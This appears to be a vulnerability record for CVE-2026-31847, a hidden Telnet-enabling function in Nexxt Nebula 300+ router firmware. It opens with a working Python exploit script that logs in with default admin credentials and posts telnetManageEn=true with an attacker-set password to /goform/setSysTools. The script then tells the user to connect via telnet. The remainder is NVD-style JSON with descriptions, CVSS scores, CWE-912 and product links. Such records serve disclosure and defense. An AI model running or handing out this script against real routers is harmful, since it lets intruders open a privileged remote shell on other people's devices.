CVE-2026-31847

import requests # Target configuration target_ip = "192.168.1.1" url = f"http://{target_ip}/goform/setSysTools" username = "admin" password = "admin" # Replace with valid credentials # Attacker defined telnet password telnet_password = "hacked" # Payload to enable telnet payload = { "telnetManageEn": "true", "telnetPwd": telnet_password } # Create session to handle authentication (PR:L) session = requests.Session() login_data = {"username": username, "password": password} # Attempt login (Generic login endpoint, adjust based on actual firmware) # session.post(f"http://{target_ip}/login", data=login_data) # Send exploit request headers = {"Content-Type": "application/x-www-form-urlencoded"} response = session.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Telnet service enabled successfully.") print(f"[+] Connect via: telnet {target_ip}") else: print("[-] Failed to enable telnet.")

{"cve": {"id": "CVE-2026-31847", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-03-23T13:16:30.320", "lastModified": "2026-04-29T17:46:52.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hidden functionality in the /goform/setSysTools endpoint in Nexxt Solutions Nebula 300+ firmware through version 12.01.01.37 allows remote enablement of a Telnet service. By sending a crafted POST request with parameters such as telnetManageEn=true and telnetPwd, an authenticated attacker can activate a Telnet service on port 23. This exposes a privileged diagnostic interface that is not intended for external access and can be used to interact with the underlying system."}, {"lang": "es", "value": "Funcionalidad oculta en el endpoint /goform/setSysTools en el firmware de Nexxt Solutions Nebula 300+ hasta la versión 12.01.01.37 permite la habilitación remota de un servicio Telnet. Una vez habilitado, el servicio expone una interfaz de gestión de diagnóstico privilegiada a través de la red, aumentando la superficie de ataque y permitiendo un compromiso adicional del dispositivo."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-912"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nexxtsolutions:nebula300plus_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.01.01.37", "matchCriteriaId": "D55E0FD8-9ADB-423B-A23F-64F41F9DD40B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nexxtsolutions:nebula300plus:-:*:*:*:*:*:*:*", "matchCriteriaId": "F9AA93D2-E1BA-4EFC-8760-BF366CF6474D"}]}]}], "references": [{"url": "https://nexxt-connectivity-frontend.s3.amazonaws.com/media/docs/Nebula300+_v12.01.01.37.zip", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Product"]}, {"url": "https://www.nexxtsolutions.com/connectivity/internal-products/ARN02304U6/", "source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "tags": ["Product"]}]}}